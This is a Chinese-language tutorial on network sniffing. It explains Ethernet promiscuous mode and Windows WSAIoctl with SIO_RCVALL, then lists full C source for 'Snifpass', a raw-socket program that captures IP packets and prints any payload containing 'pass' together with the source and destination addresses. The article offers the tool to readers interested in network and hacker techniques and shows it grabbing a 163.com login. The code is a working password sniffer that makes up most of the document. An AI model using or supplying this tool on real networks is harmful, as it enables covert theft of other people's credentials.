Sniffer是網絡中一種常見的嗅探技術。對於網絡管理員而言,他可以利用Sniffer來獲取相關的網絡流量情況進而發現一些潛在的網絡性能或者安全問題;而對於黑客而言,Sniffer則能夠幫助他得到一些重要的數據諸如用戶名和密碼或者其他的商業機密。Sniffer工作在用戶看不見也注意不到的網絡底層,隱蔽性極強,如被非法利用將會造成極大的危害,而利益受損的用戶可能還渾然不覺。
為了使讀者對Sniffer的原理有一個深入的理解,本實例實現一個Sniffer來捕捉用戶名和密碼,如果抓到密碼的話,就在屏幕上面打印出來,同時還輸出源計算機和目的計算機的IP地址,至於其他的信息我們則進行簡單的拋棄而不做任何處理。程序編譯運行後,啟動控制台,運行snifpass.exe文件後,使用IE登錄163.com,使用您的用戶名和密碼登錄會員區時,sniffer獲取的結果如下圖所示:
圖一、sniffer程序界面效果圖
一、實現方法
在說明Sniffer實現方法之前,讓我們先來看看以太網的工作方式。我們知道,以太網是一種基於廣播信道的通信網絡,在這種廣播網絡中,數據的發送是以廣播方式來進行的。當一台計算機向另外一台計算機發送數據時,該數據將同時被發送到局域網中的其他所有計算機的網卡上。這樣一來,每台計算機的網卡都能夠收到這個數據幀。但在正常情況下,網卡只接受兩種數據幀:
1、和自己的MAC地址相匹配的數據幀。
2、網絡中的廣播數據幀。
換而言之,只要網卡發現自己收到的數據幀和自己的MAC地址並不匹配,網卡就簡單的將其拋棄,不做任何處理。所以在正常情況下,網絡中的通信還是安全的。
但是以太網卡還有一種特殊的接收模式:混雜模式。在混雜模式下面,網卡能夠接收一切通過它的數據,而不管該數據是否是傳給它的。
好了,現在Sniffer的原理已經浮出水面,我們來總結一下實現Sniffer的兩個條件:
1、 我們需要一個共享式以太網環境。
2、我們需要將網卡的接收模式設置為混雜模式。
滿足這兩個條件後,我們就可以在網絡中不動聲色的來嗅探我們想要的數據了。下面我們來分析一下一個基本的Sniffer是如何實現的。
為了能夠在網絡上捕捉所有的數據包,我們首先需要將網卡設置為混雜模式。在Windows環境下面我們要用到一個函數:WSAIoctl()。在MSDN裡我們可以看到該函數的定義如下:
int WSAIoctl (
SOCKET s,
DWORD dwIoControlCode,
LPVOID lpvInBuffer,
DWORD cbInBuffer,
LPVOID lpvOUTBuffer,
DWORD cbOUTBuffer,
LPDWORD lpcbBytesReturned,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE
);
該函數共有九個參數,第一個參數s是套接字描述符;第二個參數是I/O控制命令,有很多個命令可供選擇,但在我們的程序中將只使用SIO_RCVALL命令。第三、第四個參數是對輸入參數進行了描述。第五、第六個參數用於自調用返回的任何數據。第七個參數對應於實際返回的字節數。最後兩個參數是lpOverlapped和lpCompletionROUTINE,在隨重疊I/O調用這個函數時使用。在我們的程序中將其設置為NULL。
通過這個函數我們可以將網卡設置為混雜模式,並允許指定的套接字接收網絡上的所有IP數據包。解決了網卡混雜模式設置的問題,下面我們就可以做一個實際的Sniffer,畢竟只有通過親自動手寫程序你才能夠真正理解Sniffer。在這個例子中,我們將只捕捉用戶名和密碼,如果抓到密碼的話,就在屏幕上面打印出來,同時還輸出源計算機和目的計算機的IP地址,至於其他的信息我們則進行簡單的拋棄而不做任何處理。
二、編程步驟
1、啟動Visual C++6.0,新建項目Snifpass,選擇控制台模式。
2、使用ClassWizard在項目中插入文件Snifpass.c;
3、添加代碼,編譯運行程序。
三、程序代碼
#include
#include
#include
#include
#include "ws2tcpip.h"
#define MAX_PACK_LEN 4096 //接收的最大IP報文
#define MAX_ADDR_LEN 16 // 點分十進制地址的最大長度
#define MAX_HOSTNAME_LAN 255 //最大主機名長度
typedef struct _iphdr
{
unsigned char h_lenver; //4位首部長度+4位IP版本號
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(字節)
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
SOCKET SockRaw;
int DecodeIpPack(char *,int); //IP解包函數
void CheckSockError(int,char*);//SOCK錯誤處理函數
void main(int argc, char ** argv)
{
int iErrorCode;
char RecvBuf[MAX_PACK_LEN] = {0};
WSADATA wsaData;
char name[MAX_HOSTNAME_LAN];
struct hostent * pHostent;
SOCKADDR_IN sa;
DWORD dwBufferLen [10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
if(argc!=1)
{
printf("Password sniffer written by Wu.\n\n");
printf("Usage:");
printf("\tsniffer.exe \n");
exit(0);
}
printf("It's now sniffing,CTRL+C to exit...\n\n");
//初始化SOCKET,建立一個原始套接字
iErrorCode = WSAStartup(0x0202,&wsaData);
CheckSockError(iErrorCode, "WSAStartup");
SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);
CheckSockError(SockRaw, "socket");
//獲取本機IP地址
iErrorCode = gethostname(name, MAX_HOSTNAME_LAN);
CheckSockError(iErrorCode, "gethostname");
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);
sa.sin_family = AF_INET;
sa.sin_port = htons(6000);
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
//綁定套接字
iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));
CheckSockError(iErrorCode, "bind");
//設置SOCK_RAW為SIO_RCVALL,以便接收所有的IP包
iErrorCode=WSAIoctl(SockRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),
&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );
CheckSockError(iErrorCode, "Ioctl");
//偵聽IP報文
while(1)
{
memset(RecvBuf, 0, sizeof(RecvBuf));
iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
CheckSockError(iErrorCode, "recv");
iErrorCode = DecodeIpPack(RecvBuf, iErrorCode);//對收到的IP包進行解包
CheckSockError(iErrorCode, "Decode");
}
}
//IP解包程序
int DecodeIpPack(char *buf, int iBufSize)
{
IP_HEADER *pIpheader;
char *SearchPass;
int iIphLen, iTTL;
char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)buf;
//獲取源IP地址
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
//獲取目標IP地址
saDest.sin_addr.s_addr = pIpheader->destIP;
strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
iTTL = pIpheader->ttl;
//計算IP包頭長度
iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
SearchPass = buf + iIphLen + 20 ;
//如果抓到密碼就輸出
if(strstr(SearchPass,"pass")||strstr(SearchPass,"Pass")||strstr(SearchPass,"PASS"))
{
printf("\n\n%s->%s ", szSourceIP, szDestIP); //輸出源計算機和目的計算機的IP地址
printf("bytes=%d TTL=%d \n",iBufSize,iTTL);
printf("%s",SearchPass);
}
return 0;
}
//SOCK錯誤處理程序
void CheckSockError(int iErrorCode, char *pErrorMsg)
{
if(iErrorCode==SOCKET_ERROR)
{
printf("%s Error:%d\n", pErrorMsg, GetLastError());
closesocket(SockRaw);
exit(0);
}
}
四、小結
本實例首先介紹了以太網的工作方式,然後在此基礎上實現網絡嗅探程序,希望它對於那些對網絡技術、黑客技術的讀者朋友所有幫助。